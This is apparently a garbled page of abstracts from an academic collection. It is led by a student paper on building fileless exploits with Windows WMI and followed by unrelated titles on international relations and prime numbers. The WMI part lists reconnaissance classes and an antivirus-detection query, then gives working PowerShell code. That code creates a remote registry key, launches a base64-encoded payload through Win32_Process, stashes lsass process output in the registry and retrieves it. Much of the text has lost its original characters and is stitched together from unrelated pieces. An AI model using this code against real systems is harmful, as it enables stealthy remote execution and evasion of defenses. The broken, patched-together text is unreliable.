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USING THE WMI TOOLKIT TO CREATE A FILE-FREE EXPLOIT Anton Suvorov Student, Saint Petersburg state University of telecommunications named after Prof. M. A. Bonch-Bruevich, Russia, Saint-Petersburg -

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ABSTRACT This article provides examples of using the WMI language to create and use a file-free exploit. Examples of possible ways to protect against malicious actions of exploits based on the WMI language are given. : , , WMI, PowerShell, . Keywords: file-free virus, file-free attack, WMI, PowerShell, registry. WMI Windows NT 4.01 Windows 95, Windows (WMI).

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Disk volume listing: Win32_Volume; Registry operations: StdRegProv; Running processes: Win32_Process; Service listing: Win32_Service; Event log: Win32_NtLogEvent; Logged on accounts: Win32_LoggedOnUser; Mounted shares: Win32_Share; Installed patches: Win32_QuickFixEngineering. (AV) (VM) AV WMI , root\SecurityCenter, root\SecurityCenter2 . WQL: SELECT * FROM AntiVirusProduct PowerShell: Get-WmiObject -Namespace root\SecurityCenter2 Class AntiVirusProduct , .

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# Create a remote registry key and value $HKLM = 2147483650 Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name CreateKey -ArgumentList $HKLM, 'SOFTWARE\EvilKey' Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name DeleteValue -ArgumentList $HKLM, 'SOFTWARE\EvilKey', 'Result'

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# PowerShell payload that saves the serialized output of `Get-Process lsass` to the registry $PayloadText = @' $Payload = {Get-Process lsass} $Result = & $Payload $Output = [Management.Automation.PSSerializer]::Serialize($Result, 5) $Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBy tes($Output)) Set-ItemProperty -Path HKLM:\SOFTWARE\EvilKey -Name Result -Value $Encoded '@ $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBy tes($PayloadText)) $PowerShellPayload = "powershell -NoProfile EncodedCommand $EncodedPayload" # Invoke PowerShell payload Invoke-WmiMethod @CommonArgs Win32_Process -Name Create -ArgumentList $PowerShellPayload

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# Pull the serialized results back $RemoteOutput = Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name GetStringValue -ArgumentList $HKLM, 'SOFTWARE\EvilKey', 'Result' $EncodedOutput = $RemoteOutput.sValue

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IN THE SYSTEM OF MODERN INTERNATIONAL RELATIONSRUSSIA AND THE ISLAMIC WORLD: DIALOGUE Venera Basharan Lecturer, Department of Altaic and Sinology, Institute of international relations, Kazan (Volga region) Federal University, Russia, Kazan

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PRIME NUMBERS AND GOLDBACH CONJECTURE Eugene Amosov Associate professor, Samara state technical university, Russia, Samara ё

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THE DECOMPOSITION OF EVEN NUMBERS INTO PRIME TERMS Eugene Amosov Associate professor, Samara state technical university, Russia, Samara

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